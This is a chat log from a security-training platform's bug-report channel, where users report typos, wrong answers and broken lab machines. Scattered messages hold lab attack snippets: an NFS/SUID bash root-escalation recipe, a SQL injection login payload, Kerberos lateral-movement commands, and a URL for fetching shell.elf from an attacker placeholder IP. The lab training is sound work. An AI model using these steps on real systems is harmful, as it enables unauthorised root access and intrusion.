#room-bugs

1 messages · Page 7 of 1

rotund raptor
#

On completion of Introductory Networking room, there are 2 of the same next room links:
(minor things)

cloud drum
#

where can I report it more formally so it gets noticed?

meager mica
#

Lo, just done the Intro to X86 Assembly room

#

And I noticed something odd going on here

#

Room's assembly simulator, the Lea instructions task

#

I can't exactlly seem to post any screenshots for some reason

#

but somebody's converted Endianness wrong on step 7. of the instructions,

mov [ebx+ecx], eax

#

where

EAX = 0x00000050

and the memory location is 0x4B

#

for some reason, the value in 0x4B after that instruction is 0x50000000

#

so it's no longer in Little Endian

#

that ain't right, right?

weary urchin
#

https://tryhackme.com/room/x86assemblycrashcourse

Task 8 Practice Time, Question:
Run the test and the cmp instructions. Which flags are triggered after the 11th instruction?
(Note: Use these abbreviations in alphabetical order with no spaces: CF,PF,SF,ZF)

The answer should be PF,ZF as that's what the Assembly Emulator shows. What's marked as correct is CF,SF which is the register status after the 10th instruction, not the 11th.

Did someone change before to after in the question? ;D

wheat fractal
quaint sparrow
#

You can't clone a room you didn't create.

wheat fractal
quaint sparrow
wheat fractal
#

I hold an educational licence

hazy tiger
wheat fractal
#

The university just gave me the licence (paid for it - no idea)

#

It says that "the duration of your subscription belongs to and is regulated by...."

ebon lark
#

Is anyone else having issues with "Active Directory Basics" regarding the Active Machine Information every and any time I go to the IP address given through my own VM connected through THM I get the "The connection has timed out". I've tried restarting a new machine restarting my VM, getting a new OpenVPN configuration File and still no luck. Any assistance is appreciated.

hollow lantern
#

Active Directory Basics, Task 6, Typo (under the impression I post some thing like this here) "While explaining every single ___ of them...."

#

came across typos in the past so just letting whomever know. not really a bug but just trying to help keep things looking good! ❤️

rugged canyon
#

yeah just fine to report typos here

hollow lantern
#

i did in past but i think i actually did it through the chat on website i cant remember 😄 thanks @rugged canyon !

livid escarpBOT
#

Gave +1 Rep to @rugged canyon

rugged canyon
#

both should work

swift hedge
#

hey hey folks. I believe ive identified a box that is not responding correctly with THM provided steps.

The room is https://tryhackme.com/room/exploitingad . It is not acting appropriately when following the written instructions. I was able to get the TGT for svcIIS and then able to get TGS for HTTP/WSMAN for t1_trevor.jones but it still wont let me enter a PSSession. I have tried other T1 admins as well and keep getting this same error. what is happening with this room that is preventing me from entering this pssesssion?

PS C:\Users\t2_caroline.dawson\wtf> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
Enter-PSSession : Connecting to remote server thmserver1.za.tryhackme.loc failed with the following error message : A specified logon session does not exist. It may already
have been terminated. For more information, see the about_Remote_Troubleshooting Help topic.
At line:1 char:1

  • Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
  •   + CategoryInfo          : InvalidArgument: (thmserver1.za.tryhackme.loc:String) [Enter-PSSession], PSRemotingTransportException
      + FullyQualifiedErrorId : CreateRemoteRunspaceFailed
#

PS C:\Users\t2_caroline.dawson\wtf> klist

Current LogonId is 0:0x124df1

Cached Tickets: (2)

#0> Client: t1_trevor.jones @ ZA.TRYHACKME.LOC
Server: WSMAN/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 12/7/2023 17:13:45 (local)
End Time: 12/8/2023 3:13:18 (local)
Renew Time: 12/14/2023 17:13:18 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:

#1> Client: t1_trevor.jones @ ZA.TRYHACKME.LOC
Server: HTTP/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 12/7/2023 17:13:39 (local)
End Time: 12/8/2023 3:13:18 (local)
Renew Time: 12/14/2023 17:13:18 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:

swift hedge
#

PS C:\Users\t2_caroline.dawson\wtf> New-PSSession -ComputerName thmserver1.za.tryhackme.loc -Authentication kerberos

Id Name ComputerName ComputerType State ConfigurationName Availability


2 WinRM2 thmserver1.z... RemoteMachine Opened Microsoft.PowerShell Available

PS C:\Users\t2_caroline.dawson\wtf> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents>

Instructions are not clear and DO NOT SPECIFIC "-Authentication kerberos" in the command option to get this to completge

devout bolt
#

you can also use the follwing command to see what tickets are loaded into memory:

klist

#

Here are the 3 commands in order that I did:

klist
New-PSSession -ComputerName thmserver1.za.tryhackme.loc
winrs -r:thmserver1.za.tryhackme.loc cmd

tribal burrow
#

Protocols and servers 2
5.2 the book.txt size is 416, but answer is 415

swift hedge
livid escarpBOT
#

Gave +1 Rep to @devout bolt

inner mica
#

I believe there is a bug in Wreath Network, Im at webserver exploitation [Task 6] where I have root access to the server and Im supposed to copy the id_rsa, but the file is empty

jaunty estuary
#

Also, in the Lea Instruction in the above exercise, value of EAX is 0x00000050 at the time of the instruction 7. mov [ebx+ecx], eax the but when it executes it loads 0x50000000 into memory. Shouldn't it be 0x00000050?

vagrant pine
#

Hello! I have been going through https://tryhackme.com/room/cryptographyintro and I think I found an important mistake. After discussing symmetric ciphers, the text says:

Integrity: When Bob receives an encrypted message and decrypts it successfully using the key he agreed upon with Alice, Bob can be sure that no one could tamper with the message across the channel. When using secure modern encryption algorithms, any minor modification to the ciphertext would prevent successful decryption or would lead to gibberish as plaintext.

That's misleading at best, if not just wrong. Unless a cipher with authenticated encryption is used (e.g. AES with GCM block chaining mode), an encrypted message can be modified without the recipient knowing it. That's why Message Authentication Codes are used. For example, AES-CBC wouldn't guarantee integrity. Since a beginner developer could think that encrypting something using a standard algorithm would be enough, I believe it would be a good idea to clearly state that a symmetric cipher on its own may not guarantee integrity.

misty gull
#

👋
Typo in AoC-2023's Day 9 text:

THEN text = combine with space(["net", "localgroup", "administrators"]) // text = "net localgroup administrators
I think it was meant to be (something like) - depending on how C# does array slices:
THEN text = combine with space(array[1:]) // text = "net localgroup administrators"

devout bolt
#

Helloooo, I'm in the Wazuh room on Task 10 about using the API. It gives some very specific commands where I've added the username/password given in task 2 in an attempt to authenticate so I can use the API. The authentication command given in the room and from Wazuh's help center are the same but it does not work....I'm guessing the the username/password need to be a local linux user acccount and not a wazuh portal/gui user?

https://tryhackme.com/room/wazuhct

note: i've also tried the initial token command without a username and password as displayed in the room instructions but changed to the correct management IP
note2: This didn't prevent me from completing the room.

misty gull
devout bolt
misty gull
devout bolt
silk eagle
spiral compass
#

in room subdomainenumeration Task 3

Google give still 2 results. Non of them starting with a B

#room-bugs message

spiral compass
devout bolt
#

I'm having an issue with the Linux Privilege escalation room on task 7. When looking for files/program's with the S bit set, this particular task is looking for nano with S bit set. In my second screenshot you'll see nano is installed but without the S bit set.

Each task has its own particular VM and this one is for SUID's.

command used:
find / -type f -perm -04000 -ls 2>/dev/null
https://tryhackme.com/room/linprivesc

raw bison
devout bolt
gloomy berry
#

https://tryhackme.com/room/adventofcyber2023 Task 17 [Day 11]
The following sentence is duplicated:

You can continue the exploitation by asking for a TGT of the vulnerable user using the certificate generated in the previous command.

#

Also, F138C405BD9F3139994E220CE0212E7C should be DDD22F37A3037852AFGE70FAB93E0CC71

spiral compass
gloomy berry
spiral compass
gloomy berry
#

The username matches just fine. It's all Administrator in the example it gives the reader.

devout bolt
#

Hello again, hopefully this is a bug and not something i'm doing wrong again but in the Linux Privilege Eseclation room on Task 11 (NFS). I've mounted all 3 shares into different /tmp/mount folders and did a test to figure out which one I can write to....and the only folder I can write to is the /tmp folder share. No problem, I've created my mini bash program, set the S bit but when I run the program I get an error

./nfs: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./nfs)

Looks like a dependency is missing, lib6

I checked a walkthrough video and guide on medium and they're all using the same little program. Hopefully the screenshot isnt too confusing.
https://tryhackme.com/room/linprivesc

unborn pulsar
devout bolt
unborn pulsar
devout bolt
#

ok

#

1 min, the machine is booting

devout bolt
devout bolt
#

oh wait a sec, i'm not the root user....I could run the script but do not have the priv's

rugged canyon
#

oh yes this problem

#

it is very common

#

the task text is an example and not the easiest way to get the correct answer

unborn pulsar
rugged canyon
#

i.e do this:
on target machine:

cp /bin/bash /path/to/nfs/share/folder

on attack machine:

sudo chown root:root /path/to/mounted/nfs/share/bash
sudo chmod +sx /path/to/mounted/nfs/share/bash

on target machine:

/path/to/nfs/share/folder/bash -p
id

tada it now shows that you got an effective user id of root
is the entire list of things you need to do to use the bash approach and it will work on every target machine that has bash and nfs with no_root_squash

TADA you did it

unborn pulsar
rugged canyon
#

living of the land is often better then cross compilation or trying to do static compiling shadow finds

rugged canyon
#

i.e what shadow is doing above is copying the targets bash binary... chaning its permissions and setting suid bit.... then you can run it with -p to keep effective user and group... and tada you got an effectively root shell

rugged canyon
devout bolt
livid escarpBOT
#

Gave +1 Rep to @rugged canyon

devout bolt
gloomy berry
wheat fractal
#

@wheat fractal

#

@wheat fractal

hazy tiger
arctic inlet
quaint sparrow
arctic inlet
#

cant post a screenshot

#

Can you figure out the name for the script that checks for the remote code execution vulnerability MS15-034 (CVE2015-2015-1635)? => CVE2015-1635

craggy yarrow
#

not sure if this counts as a bug but in agent-sudo the answer form will accept your entry for the password even if it's not quite right... Tripped me up and a few others I saw asking about the same. if there's a way to tighten the answer tolerance on the password it would avoid confusion.

icy surge
#

@covert field just refresh the page and it should fix this error

gloomy berry
#

https://tryhackme.com/room/adventofcyber2023 Task 19 [Day 13]
There's a typo in "we can attempt to connect to the VM by navigating to on the AttackBox browser". For example, I think it should read "we can attempt to connect to the VM by navigating to it on the AttackBox browser".

oblique panther
#

Bro don’t worry about such little things

vapid gyro
#

i cant send message in the koth

#

is there anyone know how to fix this bug

#

?

hazy tiger
last loomBOT
vapid gyro
#

thanks got it

frozen cosmos
#

Hi Hackers,

I am trying to solve the Lesson Learned? Room. I tried everything by myself first then I felt I was stuck at rabbit holes. So checked the walkthrough over the Internet about this room and then I tried SQLi there but the web page is not responding as it is supposed to be. Could anyone guide me what is the issue with this page?

My payload:
Username: 1' UNION SELECT null-- -
Password: pass

The response back from the server is an invalid password.

I would appreciate your response.

quaint sparrow
minor iris
#

Hello! For the advent of cyber challenge Day 11 challenge I am getting this error when trying to run the script:

"PS C:\Users\hr\Desktop> . .\PowerView.ps1
. : File C:\Users\hr\Desktop\PowerView.ps1 cannot be loaded because running scripts is disabled on this system. For
more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:3

  • . .\PowerView.ps1
  • + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess"
    
    

I do not appear to have admin access to allow this. Am I doing something wrong?

#

sorry guys

#

apparently i cannot read

#

disregard 🙂

oblique panther
# minor iris Hello! For the advent of cyber challenge Day 11 challenge I am getting this erro...

Hola Rickymoney99, you can found on the web site of microsoft learn for the powershell execution policy bypass. “https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4”

oblique panther
gloomy berry
quaint sparrow
gloomy berry
#

https://tryhackme.com/room/adventofcyber2023 Task 20 [Day 14]
"X_train contains the training data, and X_validate our validation data. y_train contains the labels for our training data, and y_validate our labels for validation data."
should be
"train_X contains the training data, and validate_X our validation data. train_y contains the labels for our training data, and validate_y our labels for validation data."

waxen yoke
#

Room: Tactical Detection (https://tryhackme.com/room/tacticaldetection)
Task 3 - Last Question:

Question:
What is the source, as shown in the output?

Problem:

  • I think this has been updated since the room was created. See screenshot of the current source information.
  • The "correct" answer as of now is WinEventLog:*
  • This should be changed to WinEventLog:Security
hasty mountain
#

AOC2023 day 14 Putting it all together --- or not.. Not so serious but inconsistency in the text vs. the filenames in the folder: dataset_train.csv >> training_dataset.csv and dataest_test.csv = testing_dataset.csv

astral kindle
#

I'm not sure if this is the right channel, but there is an issue within the Holo network. In Task 22 you're guided towards colabcat to crack a hash. https://github.com/someshkar/colabcat
The Problem with Colabcat is that it can get your Google account banned from any further Google Colab usage. It would be nice to add a warning, or change the task completely.

waxen yoke
# astral kindle I'm not sure if this is the right channel, but there is an issue within the Holo...

I agree with this. For any THM staff who see this, I would recommend providing a section on this tool. It's an open-source password cracker that utilizes AWS without breaking rules. We use it for actual pentests where I work.
https://github.com/Coalfire-Research/npk

GitHub

A mostly-serverless distributed hash cracking platform - GitHub - Coalfire-Research/npk: A mostly-serverless distributed hash cracking platform

keen ore
#

Hi there, There is one typo in the Jupyter notebook for the Day-15 of the Advent Of Cyber'23. Don't know if it is intentional or not so can someone from staff or mod reach out to me then we can confirm it? It is very minor but something that can create trouble for beginners.

arctic inlet
unborn pulsar
quaint sparrow
#

Just wait. 🙂

#

It's not room breaking.

arctic inlet
#

🫡

arctic inlet
livid escarpBOT
#

Gave +1 Rep to @raw bison

fallen holly
#

Great find... I've been working on this task for 3 days NotLikeThis

raw bison
livid escarpBOT
#

Gave +1 Rep to @gloomy berry

oblique panther
#

.

dapper spade
#

Hallo! I guess there should be a small typo in today's AOC room

#

there's this command at more or less 70% of the task:
rwfilter FILENAME --fields=sIP,dIP --values=records,bytes,packets --count=10

But then in the cli rwstats is typed.

solar current
#

[day 17]
There is an output example:

              sIP|            dIP|                    sTime|
  175.175.173.221| 175.219.238.243|              [REDACTED]|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:45.678|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:45.833|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:46.743|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:46.898|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:47.753|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:47.903|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:48.764|
  175.175.173.221| 175.219.238.243| 2023/12/08T04:28:48.967|

and it says:

Red flag! Over 10 DNS requests in less than a second are anomalous. We should highlight this communication pair in our report.

This is not correct - there are at most two requests per second. I guess, this could be "over 10 requests per minute" ..or the sample itself is wrong

2023/12/08T04:28:45.833
^    ^  ^  ^  ^  ^  ^
y    m  d  h  M  s
oblique panther
#

.

somber wasp
#

Hello
Currently the day 16 of AOC machine not working.
If something can be done thanks 😉

quaint sparrow
pale hill
#

👋 I'm sorry if this is the wrong place for this, but I'm catching up with Advent of Cyber and for some reason I can't submit the flag on Day 16. I click the button but nothing happens. I've been able to submit all the other answers without issue.

I've tried multiple browsers but no luck.

celest iron
#

this problem is still present, can someone fix it?

#

inputting an answer from a walkthrough, I was able to get the correct answer...

rugged canyon
cobalt halo
rugged canyon
cobalt halo
#

So I cannot use my linux vm?

oblique panther
quaint sparrow
quaint sparrow
oblique panther
devout bolt
#

Heya again - having a strange issue with the Lateral Movement room/network. DNS doesn't seem to be working over the VPN connection. I tried multiple times to restart the NetworkManager service, have only 1 DNS server and manually set /etc/resolv.conf but it seems my requests aren't going through. I booted up the attack box and it works just fine. I'll use the AB for now.
https://tryhackme.com/room/lateralmovementandpivoting

#

oof i take it back, even the attack box is having trouble....I did vote for a room reset, need 3 more:

wheat fractal
lament coral
unborn pulsar
zinc dust
#

Volatility requires python version 2.6, please upgrade your python installation.

What year is it 😆

#

(not a bug, just for fun )

rugged canyon
#

@glad badger @hazy tiger ⬆️

calm frigateBOT
#

Done!

devout bolt
#

Heya All - weird issue with the Lateral movement room task 6 - we're given T2 credentials with an internal site (like many of the other tasks). I've tried 4 sets of credentials and each time I get an Incorrect Password error when trying to connect via RDP. If anyone could lend a click to reset the room that would be great - hopefully its not a true bug but someone just got in as a domain admin and changed passwords on us (lulz)
https://tryhackme.com/room/lateralmovementandpivoting

devout bolt
#

oh man I hate to be the squeaky wheel but now there's an even worse problem LOL. I let the room timer lapse so it would auto shutdown/reboot or w/e behavior is done after the room timer expires. After the machines were shutdown (ping test) i started the room back up. Now THMDC is completely unreachable via ping and not responding to DNS requests. I can ping THMJMP2 via IP but since THMDC isn't responding pinging by its FQDN is also not functioning (as expected)

devout bolt
#

oh yay, things are back to working after a room reset- disregard! 😄

blissful reef
oblique panther
#

.

hazy tiger
#

@oblique panther Automoderator will mute you if you continue

oblique panther
placid aspen
# unborn pulsar The former is the refreshed module. The content may essentially be the same, but...

The burpsuiteold is the one which is in the learning path for the Complete Beginner Path. If it's been replaced with the newer version to match what's on the attack box, then I would replace it here too. I was actually just coming here to report that Task 11 - The Burp Suite Browser has the wrong information about the location of the setting to turn off the sandbox, and that may already be corrected in the other module.

oblique panther
#

.

hazy tiger
#

-mute 24h 951764006924849212 keeps on posting “.” In channels, was warned

livid escarpBOT
#
Mute <User:Mention/ID> <Duration:Duration> <Reason:Text>
Mute <User:Mention/ID> <Reason:Text> <Duration:Duration>
Mute <User:Mention/ID> <Duration:Duration>
Mute <User:Mention/ID> <Reason:Text>
Mute <User:Mention/ID>

Invalid arguments provided: No matching combo found

calm frigateBOT
#

:mute: r00tt#0 has been muted.

neon gulch
#

Good evening

#

"I am reading a course on Windows APIs, and I have this question that is blocking me."

#

Which character appended to an API call represents an ANSI encoding?

quaint sparrow
#

The answer is in the material.

#

Check the rules plz.

charred thistle
#

Room URL: https://tryhackme.com/room/uploadvulns#
Summary: I’ve worked with #room-help already. According to those who assisted me, my enumeration should be working. I’ve opened a new VM and attack box 5 times now including the most recent which this documentation is build on. Is there any way to verify this room is still working. The general consensus from Discord is that I have done everything correctly

Additional Notes:

Discord conversation in #room-help begins at:

https://discordapp.com/channels/521382216299839518/522158539129618453/1189345468048736367


Below is the exact commands and output captures. I booted a whole new VM and Attack box when starting this documentation.

sudo nano /etc/hosts


10.10.31.214 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm


ctrl x
y
‘enter’

cat /etc/hosts


127.0.0.1    localhost
127.0.1.1    tryhackme.lan    tryhackme

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


10.10.31.214 overwrite.uploadvulns.thm shell.uploadvulns.thm java.uploadvulns.thm annex.uploadvulns.thm magic.uploadvulns.thm jewel.uploadvulns.thm demo.uploadvulns.thm

launch firefox, then refresh firefox

firefox - http://overwrite.uploadvulns.thm

webpage loads

gobuster dir -u http://overwrite.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

#

The output is:


root@ip-10-10-211-54:~# gobuster dir -u http://overwrite.uploadvulns.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://overwrite.uploadvulns.thm
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/12/27 00:21:37 Starting gobuster
===============================================================
/images (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
/server-status (Status: 403)
===============================================================
2023/12/27 00:56:56 Finished
===============================================================

oblique panther
#

Good it does work

wheat fractal
#

https://tryhackme.com/room/exploitingad have bug in the part of Exploiting GPOs , i have the user (including i have tested following a walktrough https://benheater.com/tryhackme-exploiting-active-directory/), but the user svcServMan with or without password let login trough runas command, dont care if i let it in blank or put asdasdknqodqw in password is let me spawn CMD Process, the problem is i follow the guide in the walktrough and in the instructions about add GPM in mmc.exe but say i dont have permission from the DC za.tryhackme.com , i have tested runas /netonly /user:za.tryhackme.loc\svcServMan cmd.exe and tested runas /netonly /user:THMSERVER2.za.tryhackme.loc\svcServMan cmd.exe and is same issue, i login in THMWRK1 server with T2 admin t2_caroline.dawson from his rdp using xfreerdp command, but still have the issue, i have tested reset the lab and some days ago too and i experimenting same issue

wheat fractal
# wheat fractal https://tryhackme.com/room/exploitingad have bug in the part of Exploiting GPOs ...

a note to add when i try to go to http://distributor.za.tryhackme.loc/creds when i add the next command on attackbox systemd-resolve --interface exploitad --set-dns 10.200.120.101 --set-domain za.tryhackme.loc it says to me the url distributor.za.tryhackme.loc/creds

Hmm. We\u2019re having trouble finding that site.

We can\u2019t connect to the server at distributor.za.tryhackme.loc.

If you entered the right address, you can:

    Try again later
    Check your network connection
    Check that Firefox has permission to access the web (you might be connected but behind a firewall)

seems to be problem from DNS in the room i guess because i have followed the steps and some times work and other times no

livid escarpBOT
#

Gave +1 Rep to @rugged canyon

cold surge
ornate solar
#

hello #room-bugs
I guess there is a misunderstanding issue in the day 23 of the AoC Coerced Authentication room.
According to Microsoft
"A user accesses a client computer and provides a domain name, user name, and password" (the password provided is not sent to the server and is kept locally). 'The client computes a cryptographic hash of the password and discards the actual password"
https://learn.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
not as the room claims as shown in the picture, and it only should be sending a plain text username, requesting a challenge to solve to prove their identity.
So the password sent in stage-1 should be removed and only send a username.

unborn pulsar
# ornate solar

You are referring to the Microsoft resource, but the application in day 23 isn't a MS one?

arctic inlet
#

#room-bugs on room metasploitexploitation task 6 question 3:
http://ATTACKING_MACHINE_IP:9000/shell.elf => http://ATTACKING_10.10.109.74:9000/shell.elf

unborn pulsar
arctic inlet
#

thats correct but the text "...ATTACKING_10.10.109.74" is confusing. The placeholder is wrong. it has to be ATTACKING_IP and not ATTACKING_MACHINE_IP

oblique panther
#

Yes, me too.

arctic inlet
unborn pulsar
arctic inlet
livid escarpBOT
#

Gave +1 Rep to @unborn pulsar

unborn pulsar
#

Bot got confused with the rep.

tulip grail
#

#room-help message

Salut quick reminder for OhSINT room,
As mentioned in this earlier message, OhSint room can't be done w/o writeups as the WordPress site does not exists for some time. Only be accesible via wayback machine but in order to find it via wayback machine you need the URL and so URL only be found via writeups.

unborn pulsar
fathom rover
#

Hello, I was working on the room "Snapped Phish-ing Line" and I think the answers to the question "when was the phishing domain that was used to host the phishing kit archive first registered?" has changed and the causing right answers to be returned as wrong

tulip grail
naive osprey
devout bolt
#

Im doing the buffer overflow prep room and I'm on task 10 (Overflow9) and it appears that the correct answer for the second question isn't being accepted. I re-did everything 3 times, then I watched a walkthrough video and the person has the exact same results as me but the answer isnt being accepted? I was able to answer the first question correctly which is needed to answer the second one.

The believe answer should be: \x00\x04\x3e\xe1\ but its not accepting it. https://tryhackme.com/room/bufferoverflowprep

#

Answer task 11, no problem....so strange D:

wheat cradle
devout bolt
#

wdym? D:

wheat cradle
#

Look at the answer you pasted - there's a trailing backslash

devout bolt
#

Thats how all the others were answered....just tried to answer it witout the trailing backslash and it still doesn't like the answer 😦

#

oh i take it back, the other ones dont have that back slash (could have sworn they did) but still doesn't work....unfortunately

wheat cradle
#

Just looked at my Task 11 - yep the answer is incorrect.

devout bolt
#

task 10 tho?

wheat cradle
#

Sry, Task 10, there are XX badchars

devout bolt
#

haha all good - oh damn....uhm, let me revisit ^__^ ty

#

I only see 4....gosh, i dont know what i'm doing wrong 😦

rugged canyon
waxen yoke
#

Aurora EDR Room Bugs (https://tryhackme.com/room/auroraedr):

  1. In order to get the system to generate logs properly, you have to manually set the timeframe to June of 2022 otherwise you just get a message that the licensed has expired.

  2. Task 7, question 1 asks this question:

What is the title of the first event rule?``` 
It expects this answer (which is incorrect):
```WMI Process Reconnaissance``` 

The actual correct answer is this:
```Process Reconnaissance Via Wmic.EXE```
This comes directly from the .yml triggering the rule: https://github.com/SigmaHQ/sigma/blob/0.22-2839-gc0332a9d9/rules/windows/process_creation/proc_creation_win_wmic_recon_process.yml

3. Task 7, question 4:

What is the Rule Title of the second Event?```
There is no second event triggered. The only way to properly trigger the 2nd event is if you delete the "password.txt" of the first time you run the batch file (which will fail to create events since the license is expired). I figured this out by reading the help archive and reverse engineering the answers as I am able to clone rooms with my business account.

Overall, I strongly suggest Task 7 be re-written to include this information:

  • Manually setting the time on the PC so it is within the license BEFORE running the batch file.
  • Fixing the answer to Task 7 question 1.

In the cloned room below, I fixed both of these issues as a reference point for THM Staff to review:
https://tryhackme.com/jr/auroraedrCk

eager glade
#

whoops nevermind

devout bolt
rugged canyon
devout bolt
#

gotcha - that makes sense

oblique panther
#

Yes

acoustic basalt
#

On The Room https://tryhackme.com/room/osimodelzi at Task 4 Layer 5 - Session may be that highlighted Whilst mean is While

unborn pulsar
acoustic basalt
#

Oke ..

dusky junco
#

Whilst is being used as a conjunction which is perfectly valid in British english (which is the what I wrote the room in) 🙂

acoustic basalt
#

hi .. i am learning XSS and at https://tryhackme.com/room/xss room in Task-4 Stored XSS i accidentally input ||databaser|| it's run as a correct answer.

hazy tiger
oblique panther
#

Yes, like one tolerance.

sinful raven
#

Not a big deal, but there is a small grammatical error in task 3 of the "Intro to C2" room. Where it says this: [..] and signatures can be easily be developed.

hazy tiger
sinful raven
junior shore
#

Room : "Unattended" running like a dog. Registry explorer not opening at all please check

copper tide
unborn pulsar
copper tide
unborn pulsar
copper tide
unborn pulsar
#

Ooh.. that's a different issue then from the one I read.

placid aspen
#

Room: Ice -- Task 3
Problem -- The cvedetails website has changed its format. it no longer gives you the grid that can be seen in writeups.. I was trying to avoid using one to get the answer, because I thought it would be clear. Since the answer on Q1 is very specific to that website, its difficult to answer that question. The direct link to the CVE also no longer lists the Vulnerability Type (https://www.cvedetails.com/cve/CVE-2004-1561/). I am putting in the answer from the walkthough to get through it, but think the question should be changed and not use that older type naming. Tried finding Darkstar on the Discord list to PM, but see that they might not be active. (reposting as requested)

#

Room: Ice -- Task 3
Problem -- makes reference to a room as a potential prereq that is showing as private and I can't search for it. I think that means it's been retired? I have a sub so i don't think it's that.. Adjust if needed.. Link is to -- https://tryhackme.com/room/rpmetasploit

#

That RP: Metasploit reference is also made in Task 4 (Escalate) - in the questions, saying that the commands are taken from that room.

raw bison
#

Hello @placid aspen, thanks for bringing it up, I have raised it to be looked into 🙂

livid escarpBOT
#

Gave +1 Rep to @placid aspen (current: #457 - 9)

vagrant pine
#

https://tryhackme.com/room/powershell Task 3 question 1 asks for the location of "interesting-file.txt", but the actual file is called "interesting-file.txt.txt". I was wondering why I couldn't find it...

vagrant pine
#

Also, the backup file in Task 4 has a double extension: ".bak.txt". It looks like it wasn't intentional and makes it more difficult to find the file.

little umbra
#

Is the USTOUN room fixed? the databse port dtill doesn't spawn for me

ruby nymph
misty gull
#

Typo In Task 2 of https://tryhackme.com/room/windowsapi

  • Core DLLs: A group of four DLLs that define call structures. (KERNEL32, USER32, and ADVAPI32). These DLLs define kernel and user services that are not contained in a single subsystem.
    ...what's the fourth?
unborn pulsar
rocky heart
#

the room introtodockerk8pd has incomplete sections and a missing box

rocky heart
#

running your first Container

quaint sparrow
#

Everthing is there for me?

rocky heart
#

it says update and change for me

quaint sparrow
#

Can you take a screenshot after verifying your account?

last loomBOT
rocky heart
#

should i send the screenshot here?

quaint sparrow
#

Yeah.

rocky heart
quaint sparrow
#

Can I have the link to the room please? Lol

rocky heart
quaint sparrow
#

Oh!

#

You have the old room, Where did you get that from?

rocky heart
#

the newest room links to it

quaint sparrow
#

Ah, thanks for pointing out.

rugged canyon
#

oooh

#

lol happens

quaint sparrow
rocky heart
#

i thought i had that room completed lol

quaint sparrow
rocky heart
#

yes

dusky junco
livid escarpBOT
#

Gave +1 Rep to @quaint sparrow (current: #2 - 1825)

quaint sparrow
livid escarpBOT
#

Gave +1 Rep to @rocky heart (current: #1962 - 1)

rugged canyon
#

+rep @rocky heart

livid escarpBOT
#

Gave +1 Rep to @rocky heart (current: #1298 - 2)

dusky junco
#

ah yes, sorry, I didn't scroll up. Ty MUTE3 🙂

tiny island
#

I am receiving an error when attempting the rooms for my homework, can someone tell me what to do about it? https://prnt.sc/i2o78ivsJj6p used lightshot url uploader cause I cannot attach the screenshot here.

placid aspen
last loomBOT
placid aspen
#

Room: Blaster Task: 3
Problem 1: It wants you to look through the browser history to see where user went. However, given the age of this room, IE doesn't show any recent pages. Since I saw the executable on the desktop, I was able to determine the CVE from there. You could try and find remnents in the users temporary internet files, but I don't think that's the intent of the question. If the goal is to understand that your browser history can betray you, that isn't learned here any longer.

Task: 4
Problem 2: Again, given the age of the room, the persistence script from msf5 is no longer used in msdf6 and there is now a persistence exploit module you need to use.. this means the answer about the command is incorrect.. The article it links to no longer shows the -X option and only references the -h option to show you its no longer the way to run it.. Answered the question as required by finding walkthough answer, but doesn't help new people doing it today.

#

I was unable to get persistence with the new module no matter whether I tried the service, exe or registry... in all cases, windows defender now recognizes the meterpreter shell (which appears to be the only payload you can attach to the persistence module).. So conceptually, it makes sense on how it should work, but you can't actually test it out and just mark it as completed.

lime ridge
#

Room: Ra
Link: https://tryhackme.com/room/ra

Issue: ||Spark 2.8.3|| requires JRE 8 which doesn't install on any of the latest Linux distributions - lack of warning for users has them spending hours looking for a solution

Solution: Include ||Spark 2.9.4|| (installs and runs with the latest version of JRE) since the exploit is still present.

quaint sparrow
lime ridge
obsidian kiln
obsidian kiln
#

As you've proven, there are at least two ways to solve the issue. Reckon that's probably sufficient 😆

abstract prairie
pale spoke
#

Right now

abstract prairie
#

ah-ah-ah.

#

Now are you happy kid?

pale spoke
abstract prairie
#

Hi I have completed the Nmap room, the room is 100% completed but in my dashboard it does not show it completed as per the screenshot I attach. Can someone help me?

lusty umbra
#

same

silk geode
#

Same here

velvet briar
#

I got the same issue

tiny island
#

And I refuse to give discord my phone # so if I cant get help with the error cause of this, then so be it.

#

bit disappointed tbh

quaint sparrow
#

But what is the issue?

Can you please verify your account and attach a screenshot if you wish to share a picture

